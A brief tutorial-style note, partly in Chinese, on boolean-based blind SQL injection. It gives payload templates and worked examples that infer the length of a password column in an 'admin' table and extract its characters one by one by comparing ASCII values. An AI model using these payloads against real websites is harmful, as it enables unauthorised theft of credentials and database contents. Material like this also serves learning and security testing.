About sql blind injection syntax

If the page does not display wrong numbers, use blind injection syntax to determine the data content based on page changes

Get the data length:

and (select top 1 len(列名) from 表名)>5
and (select top 1 len(password) from admin)>16//错误
and (select top 1 len(password) from admin)>15//正常

Get the specified number of digits of data:

and (select top 1 asc(mid(列名,位置,1)) from 表名)>97
and (select top 1 asc(mid(admin,1,1)) from admin)>96//判断admin字段的内容第一位的ascii码值大于96 正常
and (select top 1 asc(mid(admin,1,1)) from admin)>97//判断admin字段的内容第一位的ascii码值大于97 错误 说明就是97

mid(字符串,截取的位置,截取字符数)
asc(） //将字符转换成ascii码 方便进行比较

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